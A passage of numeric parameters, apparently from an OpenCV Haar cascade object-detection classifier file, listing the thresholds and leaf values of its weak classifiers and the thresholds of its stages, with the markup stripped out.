3.5650369524955750e-01 6.0252362489700317e-01 + <_> + + 0 -1 60 -2.0998890977352858e-03 + + 1.9139820337295532e-01 5.3628271818161011e-01 + <_> + + 0 -1 61 -7.4213981861248612e-04 + + 3.8355550169944763e-01 5.5293101072311401e-01 + <_> + + 0 -1 62 3.2655049581080675e-03 + + 4.3128961324691772e-01 7.1018958091735840e-01 + <_> + + 0 -1 63 8.9134991867467761e-04 + + 3.9848309755325317e-01 6.3919639587402344e-01 + <_> + + 0 -1 64 -1.5284179709851742e-02 + + 2.3667329549789429e-01 5.4337137937545776e-01 + <_> + + 0 -1 65 4.8381411470472813e-03 + + 5.8175009489059448e-01 3.2391890883445740e-01 + <_> + + 0 -1 66 -9.1093179071322083e-04 + + 5.5405938625335693e-01 2.9118689894676208e-01 + <_> + + 0 -1 67 -6.1275060288608074e-03 + + 1.7752550542354584e-01 5.1966291666030884e-01 + <_> + + 0 -1 68 -4.4576259097084403e-04 + + 3.0241701006889343e-01 5.5335938930511475e-01 + <_> + + 0 -1 69 2.2646540775895119e-02 + + 4.4149309396743774e-01 6.9753772020339966e-01 + <_> + + 0 -1 70 -1.8804960418492556e-03 + + 2.7913948893547058e-01 5.4979521036148071e-01 + <_> + + 0 -1 71 7.0889107882976532e-03 + + 5.2631992101669312e-01 2.3855470120906830e-01 + <_> + + 0 -1 72 1.7318050377070904e-03 + + 4.3193790316581726e-01 6.9836008548736572e-01 + <_> + + 0 -1 73 -6.8482700735330582e-03 + + 3.0820429325103760e-01 5.3909200429916382e-01 + <_> + + 0 -1 74 -1.5062530110299122e-05 + + 5.5219221115112305e-01 3.1203660368919373e-01 + <_> + + 0 -1 75 2.9475569725036621e-02 + + 5.4013228416442871e-01 1.7706030607223511e-01 + <_> + + 0 -1 76 8.1387329846620560e-03 + + 5.1786178350448608e-01 1.2110190093517303e-01 + <_> + + 0 -1 77 2.0942950621247292e-02 + + 5.2902942895889282e-01 3.3112218976020813e-01 + <_> + + 0 -1 78 -9.5665529370307922e-03 + + 7.4719941616058350e-01 4.4519689679145813e-01 + <_> + 33 + 1.5324139595031738e+01 + + <_> + + 0 -1 79 -2.8206960996612906e-04 + + 2.0640860497951508e-01 6.0767322778701782e-01 + <_> + + 0 -1 80 1.6790600493550301e-03 + + 5.8519971370697021e-01 1.2553839385509491e-01 + <_> + + 0 -1 81 6.9827912375330925e-04 + + 9.4018429517745972e-02 5.7289612293243408e-01 + <_> + + 0 -1 82 7.8959012171253562e-04 + + 1.7819879949092865e-01 5.6943088769912720e-01 + <_> + + 0 -1 83 -2.8560499195009470e-03 + + 1.6383990645408630e-01 5.7886648178100586e-01 + <_> + + 0 -1 84 -3.8122469559311867e-03 + + 2.0854400098323822e-01 5.5085647106170654e-01 + <_> + + 0 -1 85 1.5896620461717248e-03 + + 5.7027608156204224e-01 1.8572150170803070e-01 + <_> + + 0 -1 86 1.0078339837491512e-02 + + 5.1169431209564209e-01 2.1897700428962708e-01 + <_> + + 0 -1 87 -6.3526302576065063e-02 + + 7.1313798427581787e-01 4.0438130497932434e-01 + <_> + + 0 -1 88 -9.1031491756439209e-03 + + 2.5671818852424622e-01 5.4639732837677002e-01 + <_> + + 0 -1 89 -2.4035000242292881e-03 + + 1.7006659507751465e-01 5.5909740924835205e-01 + <_> + + 0 -1 90 1.5226360410451889e-03 + + 5.4105567932128906e-01 2.6190540194511414e-01 + <_> + + 0 -1 91 1.7997439950704575e-02 + + 3.7324368953704834e-01 6.5352207422256470e-01 + <_> + + 0 -1 92 -6.4538191072642803e-03 + + 2.6264819502830505e-01 5.5374461412429810e-01 + <_> + + 0 -1 93 -1.1880760081112385e-02 + + 2.0037539303302765e-01 5.5447459220886230e-01 + <_> + + 0 -1 94 1.2713660253211856e-03 + + 5.5919027328491211e-01 3.0319759249687195e-01 + <_> + + 0 -1 95 1.1376109905540943e-03 + + 2.7304071187973022e-01 5.6465089321136475e-01 + <_> + + 0 -1 96 -4.2651998810470104e-03 + + 1.4059090614318848e-01 5.4618209600448608e-01 + <_> + + 0 -1 97 -2.9602861031889915e-03 + + 1.7950350046157837e-01 5.4592901468276978e-01 + <_> + + 0 -1 98 -8.8448226451873779e-03 + + 5.7367831468582153e-01 2.8092199563980103e-01 + <_> + + 0 -1 99 -6.6430689767003059e-03 + + 2.3706759512424469e-01 5.5038261413574219e-01 + <_> + + 0 -1 100 3.9997808635234833e-03 + + 5.6081998348236084e-01 3.3042821288108826e-01 + <_> + + 0 -1 101 -4.1221720166504383e-03 + + 1.6401059925556183e-01 5.3789931535720825e-01 + <_> + + 0 -1 102 1.5624909661710262e-02 + + 5.2276492118835449e-01 2.2886039316654205e-01 + <_> + + 0 -1 103 -1.0356419719755650e-02 + + 7.0161938667297363e-01 4.2529278993606567e-01 + <_> + + 0 -1 104 -8.7960809469223022e-03 + + 2.7673470973968506e-01 5.3558301925659180e-01 + <_> + + 0 -1 105 1.6226939857006073e-01 + + 4.3422400951385498e-01 7.4425792694091797e-01 + <_> + + 0 -1 106 4.5542530715465546e-03 + + 5.7264858484268188e-01 2.5821250677108765e-01 + <_> + + 0 -1 107 -2.1309209987521172e-03 + + 2.1068480610847473e-01 5.3610187768936157e-01 + <_> + + 0 -1 108 -1.3208420015871525e-02 + + 7.5937908887863159e-01 4.5524680614471436e-01 + <_> + + 0 -1 109 -6.5996676683425903e-02 + + 1.2524759769439697e-01 5.3440397977828979e-01 + <_> + + 0 -1 110 7.9142656177282333e-03 + + 3.3153840899467468e-01 5.6010431051254272e-01 + <_> + + 0 -1 111 2.0894279703497887e-02 + + 5.5060499906539917e-01 2.7688381075859070e-01 + <_> + 44 + 2.1010639190673828e+01 + + <_> + + 0 -1 112 1.1961159761995077e-03 + + 1.7626909911632538e-01 6.1562412977218628e-01 + <_> + + 0 -1 113 -1.8679830245673656e-03 + + 6.1181068420410156e-01 1.8323999643325806e-01 + <_> + + 0 -1 114 -1.9579799845814705e-04 + + 9.9044263362884521e-02 5.7238161563873291e-01 + <_> + + 0 -1 115 -8.0255657667294145e-04 + + 5.5798798799514771e-01 2.3772829771041870e-01 + <_> + + 0 -1 116 -2.4510810617357492e-03 + + 2.2314579784870148e-01 5.8589351177215576e-01 + <_> + + 0 -1 117 5.0361850298941135e-04 + + 2.6539939641952515e-01 5.7941037416458130e-01 + <_> + + 0 -1 118 4.0293349884450436e-03 + + 5.8038270473480225e-01 2.4848650395870209e-01 + <_> + + 0 -1 119 -1.4451709575951099e-02 + + 1.8303519487380981e-01 5.4842048883438110e-01 + <_> + + 0 -1 120 2.0380979403853416e-03 + + 3.3635589480400085e-01 6.0510927438735962e-01 + <_> + + 0 -1 121 -1.6155190533027053e-03 + + 2.2866420447826385e-01 5.4412460327148438e-01 + <_> + + 0 -1 122 3.3458340913057327e-03 + + 5.6259131431579590e-01 2.3923380672931671e-01 + <_> + + 0 -1 123 1.6379579901695251e-03 + + 3.9069938659667969e-01 5.9646219015121460e-01 + <_> + + 0 -1 124 3.0251210555434227e-02 + + 5.2484822273254395e-01 1.5757469832897186e-01 + <_> + + 0 -1 125 3.7251990288496017e-02 + + 4.1943109035491943e-01 6.7484188079833984e-01 + <_> + + 0 -1 126 -2.5109790265560150e-02 + + 1.8825499713420868e-01 5.4734510183334351e-01 + <_> + + 0 -1 127 -5.3099058568477631e-03 + + 1.3399730622768402e-01 5.2271109819412231e-01 + <_> + + 0 -1 128 1.2086479691788554e-03 + + 3.7620881199836731e-01 6.1096358299255371e-01 + <_> + + 0 -1 129 -2.1907679736614227e-02 + + 2.6631429791450500e-01 5.4040068387985229e-01 + <_> + + 0 -1 130 5.4116579703986645e-03 + + 5.3635787963867188e-01 2.2322730720043182e-01 + <_> + + 0 -1 131 6.9946326315402985e-02 + + 5.3582328557968140e-01 2.4536980688571930e-01 + <_> + + 0 -1 132 3.4520021290518343e-04 + + 2.4096719920635223e-01 5.3769302368164062e-01 + <_> + + 0 -1 133 1.2627709656953812e-03 + + 5.4258567094802856e-01 3.1556931138038635e-01 + <_> + + 0 -1 134 2.2719509899616241e-02 + + 4.1584059596061707e-01 6.5978652238845825e-01 + <_> + + 0 -1 135 -1.8111000536009669e-03 + + 2.8112530708312988e-01 5.5052447319030762e-01 + <_> + + 0 -1 136 3.3469670452177525e-03 + + 5.2600282430648804e-01 1.8914650380611420e-01 + <_> + + 0 -1 137 4.0791751234792173e-04 + + 5.6735092401504517e-01 3.3442100882530212e-01 + <_> + + 0 -1 138 1.2734799645841122e-02 + + 5.3435921669006348e-01 2.3956120014190674e-01 + <_> + + 0 -1 139 -7.3119727894663811e-03 + + 6.0108900070190430e-01 4.0222078561782837e-01 + <_> + + 0 -1 140 -5.6948751211166382e-02 + + 8.1991511583328247e-01 4.5431908965110779e-01 + <_> + + 0 -1 141 -5.0116591155529022e-03 + + 2.2002810239791870e-01 5.3577107191085815e-01 + <_> + + 0 -1 142 6.0334368608891964e-03 + + 4.4130811095237732e-01 7.1817511320114136e-01 + <_> + + 0 -1 143 3.9437441155314445e-03 + + 5.4788607358932495e-01 2.7917331457138062e-01 + <_> + + 0 -1 144 -3.6591119132936001e-03 + + 6.3578677177429199e-01 3.9897239208221436e-01 + <_> + + 0 -1 145 -3.8456181064248085e-03 + + 3.4936860203742981e-01 5.3006649017333984e-01 + <_> + + 0 -1 146 -7.1926261298358440e-03 + + 1.1196149885654449e-01 5.2296727895736694e-01 + <_> + + 0 -1 147 -5.2798941731452942e-02 + + 2.3871029913425446e-01 5.4534512758255005e-01 + <_> + + 0 -1 148 -7.9537667334079742e-03 + + 7.5869178771972656e-01 4.4393768906593323e-01 + <_> + + 0 -1 149 -2.7344180271029472e-03 + + 2.5654768943786621e-01 5.4893219470977783e-01 + <_> + + 0 -1 150 -1.8507939530536532e-03 + + 6.7343479394912720e-01 4.2524749040603638e-01 + <_> + + 0 -1 151 1.5918919816613197e-02 + + 5.4883527755737305e-01 2.2926619648933411e-01 + <_> + + 0 -1 152 -1.2687679845839739e-03 + + 6.1043310165405273e-01 4.0223899483680725e-01 + <_> + + 0 -1 153 6.2883910723030567e-03 + + 5.3108531236648560e-01 1.5361930429935455e-01 + <_> + + 0 -1 154 -6.2259892001748085e-03 + + 1.7291119694709778e-01 5.2416062355041504e-01 + <_> + + 0 -1 155 -1.2132599949836731e-02 + + 6.5977597236633301e-01 4.3251821398735046e-01 + <_> + 50 + 2.3918790817260742e+01 + + <_> + + 0 -1 156 -3.9184908382594585e-03 + + 6.1034351587295532e-01 1.4693309366703033e-01 + <_> + + 0 -1 157 1.5971299726516008e-03 + + 2.6323631405830383e-01 5.8964669704437256e-01 + <_> + + 0 -1 158 1.7780110239982605e-02 + + 5.8728742599487305e-01 1.7603619396686554e-01 + <_> + + 0 -1 159 6.5334769897162914e-04 + + 1.5678019821643829e-01 5.5960661172866821e-01 + <_> + + 0 -1 160 -2.8353091329336166e-04 + + 1.9131539762020111e-01 5.7320362329483032e-01 + <_> + + 0 -1 161 1.6104689566418529e-03 + + 2.9149138927459717e-01 5.6230807304382324e-01 + <_> + + 0 -1 162 -9.7750619053840637e-02 + + 1.9434769451618195e-01 5.6482332944869995e-01 + <_> + + 0 -1 163 5.5182358482852578e-04 + + 3.1346169114112854e-01 5.5046397447586060e-01 + <_> + + 0 -1 164 -1.2858220376074314e-02 + + 2.5364819169044495e-01 5.7601428031921387e-01 + <_> + + 0 -1 165 4.1530239395797253e-03 + + 5.7677221298217773e-01 3.6597740650177002e-01 + <_> + + 0 -1 166 1.7092459602281451e-03 + + 2.8431910276412964e-01 5.9189391136169434e-01 + <_> + + 0 -1 167 7.5217359699308872e-03 + + 4.0524271130561829e-01 6.1831092834472656e-01 + <_> + + 0 -1 168 2.2479810286313295e-03 + + 5.7837551832199097e-01 3.1354010105133057e-01 + <_> + + 0 -1 169 5.2006211131811142e-02 + + 5.5413120985031128e-01 1.9166369736194611e-01 + <_> + + 0 -1 170 1.2085529975593090e-02 + + 4.0326559543609619e-01 6.6445910930633545e-01 + <_> + + 0 -1 171 1.4687820112158079e-05 + + 3.5359779000282288e-01 5.7093828916549683e-01 + <_> + + 0 -1 172 7.1395188570022583e-06 + + 3.0374449491500854e-01 5.6102699041366577e-01 + <_> + + 0 -1 173 -4.6001640148460865e-03 + + 7.1810871362686157e-01 4.5803260803222656e-01 + <_> + + 0 -1 174 2.0058949012309313e-03 + + 5.6219518184661865e-01 2.9536840319633484e-01 + <_> + + 0 -1 175 4.5050270855426788e-03 + + 4.6153879165649414e-01 7.6190179586410522e-01 + <_> + + 0 -1 176 1.1746830306947231e-02 + + 5.3438371419906616e-01 1.7725290358066559e-01 + <_> + + 0 -1 177 -5.8316338807344437e-02 + + 1.6862459480762482e-01 5.3407722711563110e-01 + <_> + + 0 -1 178 2.3629379575140774e-04 + + 3.7920561432838440e-01 6.0268038511276245e-01 + <_> + + 0 -1 179 -7.8156180679798126e-03 + + 1.5128670632839203e-01 5.3243237733840942e-01 + <_> + + 0 -1 180 -1.0876160115003586e-02 + + 2.0818220078945160e-01 5.3199452161788940e-01 + <_> + + 0 -1 181 -2.7745519764721394e-03 + + 4.0982469916343689e-01 5.2103281021118164e-01 + <_> + + 0 -1 182 -7.8276381827890873e-04 + + 5.6932741403579712e-01 3.4788420796394348e-01 + <_> + + 0 -1 183 1.3870409689843655e-02 + + 5.3267508745193481e-01 2.2576980292797089e-01 + <_> + + 0 -1 184 -2.3674910888075829e-02 + + 1.5513050556182861e-01 5.2007079124450684e-01 + <_> + + 0 -1 185 -1.4879409718560055e-05 + + 5.5005669593811035e-01 3.8201761245727539e-01 + <_> + + 0 -1 186 3.6190641112625599e-03 + + 4.2386838793754578e-01 6.6397482156753540e-01 + <_> + + 0 -1 187 -1.9817110151052475e-02 + + 2.1500380337238312e-01 5.3823578357696533e-01 + <_> + + 0 -1 188 -3.8154039066284895e-03 + + 6.6757112741470337e-01 4.2152971029281616e-01 + <_> + + 0 -1 189 -4.9775829538702965e-03 + + 2.2672890126705170e-01 5.3863281011581421e-01 + <_> + + 0 -1 190 2.2441020701080561e-03 + + 4.3086910247802734e-01 6.8557357788085938e-01 + <_> + + 0 -1 191 1.2282459996640682e-02 + + 5.8366149663925171e-01 3.4674790501594543e-01 + <_> + + 0 -1 192 -2.8548699337989092e-03 + + 7.0169448852539062e-01 4.3114539980888367e-01 + <_> + + 0 -1 193 -3.7875669077038765e-03 + + 2.8953450918197632e-01 5.2249461412429810e-01 + <_> + + 0 -1 194 -1.2201230274513364e-03 + + 2.9755708575248718e-01 5.4816448688507080e-01 + <_> + + 0 -1 195 1.0160599835216999e-02 + + 4.8888179659843445e-01 8.1826978921890259e-01 + <_> + + 0 -1 196 -1.6174569725990295e-02 + + 1.4814929664134979e-01 5.2399927377700806e-01 + <_> + + 0 -1 197 1.9292460754513741e-02 + + 4.7863098978996277e-01 7.3781907558441162e-01 + <_> + + 0 -1 198 -3.2479539513587952e-03 + + 7.3742228746414185e-01 4.4706439971923828e-01 + <_> + + 0 -1 199 -9.3803480267524719e-03 + + 3.4891548752784729e-01 5.5379962921142578e-01 + <_> + + 0 -1 200 -1.2606129981577396e-02 + + 2.3796869814395905e-01 5.3154432773590088e-01 + <_> + + 0 -1 201 -2.5621930137276649e-02 + + 1.9646880030632019e-01 5.1387697458267212e-01 + <_> + + 0 -1 202 -7.5741496402770281e-05 + + 5.5905228853225708e-01 3.3658531308174133e-01 + <_> + + 0 -1 203 -8.9210882782936096e-02 + + 6.3404656946659088e-02 5.1626348495483398e-01 + <_> + + 0 -1 204 -2.7670480776578188e-03 + + 7.3234677314758301e-01 4.4907060265541077e-01 + <_> + + 0 -1 205 2.7152578695677221e-04 + + 4.1148349642753601e-01 5.9855180978775024e-01 + <_> + 51 + 2.4527879714965820e+01 + + <_> + + 0 -1 206 1.4786219689995050e-03 + + 2.6635450124740601e-01 6.6433167457580566e-01 + <_> + + 0 -1 207 -1.8741659587249160e-03 + + 6.1438488960266113e-01 2.5185129046440125e-01 + <_> + + 0 -1 208 -1.7151009524241090e-03 + + 5.7663410902023315e-01 2.3974630236625671e-01 + <_> + + 0 -1 209 -1.8939269939437509e-03 + + 5.6820458173751831e-01 2.5291448831558228e-01 + <_> + + 0 -1 210 -5.3006052039563656e-03 + + 1.6406759619712830e-01 5.5560797452926636e-01 + <_> + + 0 -1 211 -4.6662531793117523e-02 + + 6.1231541633605957e-01 4.7628301382064819e-01 + <_> + + 0 -1 212 -7.9431332414969802e-04 + + 5.7078588008880615e-01 2.8394040465354919e-01 + <_> + + 0 -1 213 1.4891670085489750e-02 + + 4.0896728634834290e-01 6.0063672065734863e-01 + <_> + + 0 -1 214 -1.2046529445797205e-03 + + 5.7124507427215576e-01 2.7052891254425049e-01 + <_> + + 0 -1 215 6.0619381256401539e-03 + + 5.2625042200088501e-01 3.2622259855270386e-01 + <_> + + 0 -1 216 -2.5286648888140917e-03 + + 6.8538308143615723e-01 4.1992568969726562e-01 + <_> + + 0 -1 217 -5.9010218828916550e-03 + + 3.2662820816040039e-01 5.4348129034042358e-01 + <_> + + 0 -1 218 5.6702760048210621e-03 + + 5.4684108495712280e-01 2.3190039396286011e-01 + <_> + + 0 -1 219 -3.0304100364446640e-03 + + 5.5706679821014404e-01 2.7082380652427673e-01 + <_> + + 0 -1 220 2.9803649522364140e-03 + + 3.7005689740180969e-01 5.8906257152557373e-01 + <_> + + 0 -1 221 -7.5840510427951813e-02 + + 2.1400700509548187e-01 5.4199481010437012e-01 + <_> + + 0 -1 222 1.9262539222836494e-02 + + 5.5267721414566040e-01 2.7265900373458862e-01 + <_> + + 0 -1 223 1.8888259364757687e-04 + + 3.9580118656158447e-01 6.0172098875045776e-01 + <_> + + 0 -1 224 2.9369549825787544e-02 + + 5.2413737773895264e-01 1.4357580244541168e-01 + <_> + + 0 -1 225 1.0417619487270713e-03 + + 3.3854091167449951e-01 5.9299832582473755e-01 + <_> + + 0 -1 226 2.6125640142709017e-03 + + 5.4853779077529907e-01 3.0215978622436523e-01 + <_> + + 0 -1 227 9.6977467183023691e-04 + + 3.3752760291099548e-01 5.5320328474044800e-01 + <_> + + 0 -1 228 5.9512659208849072e-04 + + 5.6317430734634399e-01 3.3593991398811340e-01 + <_> + + 0 -1 229 -1.0156559944152832e-01 + + 6.3735038042068481e-02 5.2304250001907349e-01 + <_> + + 0 -1 230 3.6156699061393738e-02 + + 5.1369631290435791e-01 1.0295289754867554e-01 + <_> + + 0 -1 231 3.4624140243977308e-03 + + 3.8793200254440308e-01 5.5582892894744873e-01 + <_> + + 0 -1 232 1.9554980099201202e-02 + + 5.2500867843627930e-01 1.8758599460124969e-01 + <_> + + 0 -1 233 -2.3121440317481756e-03 + + 6.6720288991928101e-01 4.6796411275863647e-01 + <_> + + 0 -1 234 -1.8605289515107870e-03 + + 7.1633791923522949e-01 4.3346709012985229e-01 + <_> + + 0 -1 235 -9.4026362057775259e-04 + + 3.0213609337806702e-01 5.6502032279968262e-01 + <_> + + 0 -1 236 -5.2418331615626812e-03 + + 1.8200090527534485e-01 5.2502560615539551e-01 + <_> + + 0 -1 237 1.1729019752237946e-04 + + 3.3891880512237549e-01 5.4459732770919800e-01 + <_> + + 0 -1 238 1.1878840159624815e-03 + + 4.0853491425514221e-01 6.2535631656646729e-01 + <_> + + 0 -1 239 -1.0881359688937664e-02 + + 3.3783990144729614e-01 5.7000827789306641e-01 + <_> + + 0 -1 240 1.7354859737679362e-03 + + 4.2046359181404114e-01 6.5230387449264526e-01 + <_> + + 0 -1 241 -6.5119052305817604e-03 + + 2.5952160358428955e-01 5.4281437397003174e-01 + <_> + + 0 -1 242 -1.2136430013924837e-03 + + 6.1651438474655151e-01 3.9778938889503479e-01 + <_> + + 0 -1 243 -1.0354240424931049e-02 + + 1.6280280053615570e-01 5.2195048332214355e-01 + <_> + + 0 -1 244 5.5858830455690622e-04 + + 3.1996509432792664e-01 5.5035740137100220e-01 + <_> + + 0 -1 245 1.5299649909138680e-02 + + 4.1039940714836121e-01 6.1223882436752319e-01 + <_> + + 0 -1 246 -2.1588210016489029e-02 + + 1.0349129885435104e-01 5.1973849534988403e-01 + <_> + + 0 -1 247 -1.2834629416465759e-01 + + 8.4938651323318481e-01 4.8931029438972473e-01 + <_> + + 0 -1 248 -2.2927189711481333e-03 + + 3.1301578879356384e-01 5.4715752601623535e-01 + <_> + + 0 -1 249 7.9915106296539307e-02 + + 4.8563209176063538e-01 6.0739892721176147e-01 + <_> + + 0 -1 250 -7.9441092908382416e-02 + + 8.3946740627288818e-01 4.6245330572128296e-01 + <_> + + 0 -1 251 -5.2800010889768600e-03 + + 1.8816959857940674e-01 5.3066980838775635e-01 + <_> + + 0 -1 252 1.0463109938427806e-03 + + 5.2712291479110718e-01 2.5830659270286560e-01 + <_> + + 0 -1 253 2.6317298761568964e-04 + + 4.2353048920631409e-01 5.7354408502578735e-01 + <_> + + 0 -1 254 -3.6173160187900066e-03 + + 6.9343960285186768e-01 4.4954448938369751e-01 + <_> + + 0 -1 255 1.1421879753470421e-02 + + 5.9009212255477905e-01 4.1381931304931641e-01 + <_> + + 0 -1 256 -1.9963278900831938e-03 + + 6.4663827419281006e-01 4.3272399902343750e-01 + <_> + 56 + 2.7153350830078125e+01 + + <_> + + 0 -1 257 -9.9691245704889297e-03 + + 6.1423242092132568e-01 2.4822120368480682e-01 + <_> + + 0 -1 258 7.3073059320449829e-04 + + 5.7049518823623657e-01 2.3219659924507141e-01 + <_> + + 0 -1 259 6.4045301405712962e-04 + + 2.1122519671916962e-01 5.8149331808090210e-01 + <_> + + 0 -1 260 4.5424019917845726e-03 + + 2.9504820704460144e-01 5.8663117885589600e-01 + <_> + + 0 -1 261 9.2477443104144186e-05 + + 2.9909908771514893e-01 5.7913267612457275e-01 + <_> + + 0 -1 262 -8.6603146046400070e-03 + + 2.8130298852920532e-01 5.6355422735214233e-01 + <_> + + 0 -1 263 8.0515816807746887e-03 + + 3.5353690385818481e-01 6.0547572374343872e-01 + <_> + + 0 -1 264 4.3835240649059415e-04 + + 5.5965322256088257e-01 2.7315109968185425e-01 + <_> + + 0 -1 265 -9.8168973636347800e-05 + + 5.9780317544937134e-01 3.6385610699653625e-01 + <_> + + 0 -1 266 -1.1298790341243148e-03 + + 2.7552521228790283e-01 5.4327291250228882e-01 + <_> + + 0 -1 267 6.4356150105595589e-03 + + 4.3056419491767883e-01 7.0698332786560059e-01 + <_> + + 0 -1 268 -5.6829329580068588e-02 + + 2.4952429533004761e-01 5.2949970960617065e-01 + <_> + + 0 -1 269 4.0668169967830181e-03 + + 5.4785531759262085e-01 2.4977239966392517e-01 + <_> + + 0 -1 270 4.8164798499783501e-05 + + 3.9386010169982910e-01 5.7063561677932739e-01 + <_> + + 0 -1 271 6.1795017682015896e-03 + + 4.4076061248779297e-01 7.3947668075561523e-01 + <_> + + 0 -1 272 6.4985752105712891e-03 + + 5.4452431201934814e-01 2.4791529774665833e-01 + <_> + + 0 -1 273 -1.0211090557277203e-03 + + 2.5447669625282288e-01 5.3389710187911987e-01 + <_> + + 0 -1 274 -5.4247528314590454e-03 + + 2.7188581228256226e-01 5.3240692615509033e-01 + <_> + + 0 -1 275 -1.0559899965301156e-03 + + 3.1782880425453186e-01 5.5345088243484497e-01 + <_> + + 0 -1 276 6.6465808777138591e-04 + + 4.2842191457748413e-01 6.5581941604614258e-01 + <_> + + 0 -1 277 -2.7524109464138746e-04 + + 5.9028607606887817e-01 3.8102629780769348e-01 + <_> + + 0 -1 278 4.2293202131986618e-03 + + 3.8164898753166199e-01 5.7093858718872070e-01 + <_> + + 0 -1 279 -3.2868210691958666e-03 + + 1.7477439343929291e-01 5.2595442533493042e-01 + <_> + + 0 -1 280 1.5611879643984139e-04 + + 3.6017221212387085e-01 5.7256120443344116e-01 + <_> + + 0 -1 281 -7.3621381488919724e-06 + + 5.4018580913543701e-01 3.0444970726966858e-01 + <_> + + 0 -1 282 -1.4767250046133995e-02 + + 3.2207700610160828e-01 5.5734348297119141e-01 + <_> + + 0 -1 283 2.4489590898156166e-02 + + 4.3015280365943909e-01 6.5188127756118774e-01 + <_> + + 0 -1 284 -3.7652091123163700e-04 + + 3.5645830631256104e-01 5.5982369184494019e-01 + <_> + + 0 -1 285 7.3657688517414499e-06 + + 3.4907829761505127e-01 5.5618977546691895e-01 + <_> + + 0 -1 286 -1.5099939890205860e-02 + + 1.7762720584869385e-01 5.3352999687194824e-01 + <_> + + 0 -1 287 -3.8316650316119194e-03 + + 6.1496877670288086e-01 4.2213940620422363e-01 + <_> + + 0 -1 288 1.6925400123000145e-02 + + 5.4130148887634277e-01 2.1665850281715393e-01 + <_> + + 0 -1 289 -3.0477850232273340e-03 + + 6.4494907855987549e-01 4.3546178936958313e-01 + <_> + + 0 -1 290 3.2140589319169521e-03 + + 5.4001551866531372e-01 3.5232171416282654e-01 + <_> + + 0 -1 291 -4.0023201145231724e-03 + + 2.7745240926742554e-01 5.3384172916412354e-01 + <_> + + 0 -1 292 7.4182129465043545e-03 + + 5.6767392158508301e-01 3.7028178572654724e-01 + <_> + + 0 -1 293 -8.8764587417244911e-03 + + 7.7492219209671021e-01 4.5836889743804932e-01 + <_> + + 0 -1 294 2.7311739977449179e-03 + + 5.3387218713760376e-01 3.9966610074043274e-01 + <_> + + 0 -1 295 -2.5082379579544067e-03 + + 5.6119632720947266e-01 3.7774989008903503e-01 + <_> + + 0 -1 296 -8.0541074275970459e-03 + + 2.9152289032936096e-01 5.1791828870773315e-01 + <_> + + 0 -1 297 -9.7938813269138336e-04 + + 5.5364328622817993e-01 3.7001928687095642e-01 + <_> + + 0 -1 298 -5.8745909482240677e-03 + + 3.7543910741806030e-01 5.6793761253356934e-01 + <_> + + 0 -1 299 -4.4936719350516796e-03 + + 7.0196992158889771e-01 4.4809499382972717e-01 + <_> + + 0 -1 300 -5.4389229044318199e-03 + + 2.3103649914264679e-01 5.3133869171142578e-01 + <_> + + 0 -1 301 -7.5094640487805009e-04 + + 5.8648687601089478e-01 4.1293430328369141e-01 + <_> + + 0 -1 302 1.4528800420521293e-05 + + 3.7324070930480957e-01 5.6196212768554688e-01 + <_> + + 0 -1 303 4.0758069604635239e-02 + + 5.3120911121368408e-01 2.7205219864845276e-01 + <_> + + 0 -1 304 6.6505931317806244e-03 + + 4.7100159525871277e-01 6.6934937238693237e-01 + <_> + + 0 -1 305 4.5759351924061775e-03 + + 5.1678192615509033e-01 1.6372759640216827e-01 + <_> + + 0 -1 306 6.5269311890006065e-03 + + 5.3976088762283325e-01 2.9385319352149963e-01 + <_> + + 0 -1 307 -1.3660379685461521e-02 + + 7.0864880084991455e-01 4.5322000980377197e-01 + <_> + + 0 -1 308 2.7358869090676308e-02 + + 5.2064812183380127e-01 3.5892319679260254e-01 + <_> + + 0 -1 309 6.2197551596909761e-04 + + 3.5070759057998657e-01 5.4411232471466064e-01 + <_> + + 0 -1 310 -3.3077080734074116e-03 + + 5.8595228195190430e-01 4.0248918533325195e-01 + <_> + + 0 -1 311 -1.0631109587848186e-02 + + 6.7432671785354614e-01 4.4226029515266418e-01 + <_> + + 0 -1 312 1.9441649317741394e-02 + + 5.2827161550521851e-01 1.7979049682617188e-01 + <_> + 71 + 3.4554111480712891e+01 + + <_> + + 0 -1 313 -5.5052167735993862e-03 + + 5.9147310256958008e-01 2.6265591382980347e-01 + <_> + + 0 -1 314 1.9562279339879751e-03 + + 2.3125819861888885e-01 5.7416272163391113e-01 + <_> + + 0 -1 315 -8.8924784213304520e-03 + + 1.6565300524234772e-01 5.6266540288925171e-01 + <_> + + 0 -1 316 8.3638377487659454e-02 + + 5.4234498739242554e-01 1.9572949409484863e-01 + <_> + + 0 -1 317 1.2282270472496748e-03 + + 3.4179040789604187e-01 5.9925037622451782e-01 + <_> + + 0 -1 318 5.7629169896245003e-03 + + 3.7195819616317749e-01 6.0799038410186768e-01 + <_> + + 0 -1 319 -1.6417410224676132e-03 + + 2.5774860382080078e-01 5.5769157409667969e-01 + <_> + + 0 -1 320 3.4113149158656597e-03 + + 2.9507490992546082e-01 5.5141717195510864e-01 + <_> + + 0 -1 321 -1.1069320142269135e-02 + + 7.5693589448928833e-01 4.4770789146423340e-01 + <_> + + 0 -1 322 3.4865971654653549e-02 + + 5.5837088823318481e-01 2.6696211099624634e-01 + <_> + + 0 -1 323 6.5701099811121821e-04 + + 5.6273132562637329e-01 2.9888901114463806e-01 + <_> + + 0 -1 324 -2.4339130148291588e-02 + + 2.7711850404739380e-01 5.1088631153106689e-01 + <_> + + 0 -1 325 5.9435202274471521e-04 + + 5.5806517601013184e-01 3.1203418970108032e-01 + <_> + + 0 -1 326 2.2971509024500847e-03 + + 3.3302500844001770e-01 5.6790757179260254e-01 + <_> + + 0 -1 327 -3.7801829166710377e-03 + + 2.9905349016189575e-01 5.3448081016540527e-01 + <_> + + 0 -1 328 -1.3420669734477997e-01 + + 1.4638589322566986e-01 5.3925681114196777e-01 + <_> + + 0 -1 329 7.5224548345431685e-04 + + 3.7469539046287537e-01 5.6927347183227539e-01 + <_> + + 0 -1 330 -4.0545541793107986e-02 + + 2.7547478675842285e-01 5.4842978715896606e-01 + <_> + + 0 -1 331 1.2572970008477569e-03 + + 3.7445840239524841e-01 5.7560759782791138e-01 + <_> + + 0 -1 332 -7.4249948374927044e-03 + + 7.5138592720031738e-01 4.7282311320304871e-01 + <_> + + 0 -1 333 5.0908129196614027e-04 + + 5.4048967361450195e-01 2.9323211312294006e-01 + <_> + + 0 -1 334 -1.2808450264856219e-03 + + 6.1697798967361450e-01 4.2733490467071533e-01 + <_> + + 0 -1 335 -1.8348860321566463e-03 + + 2.0484960079193115e-01 5.2064722776412964e-01 + <_> + + 0 -1 336 2.7484869584441185e-02 + + 5.2529847621917725e-01 1.6755220293998718e-01 + <_> + + 0 -1 337 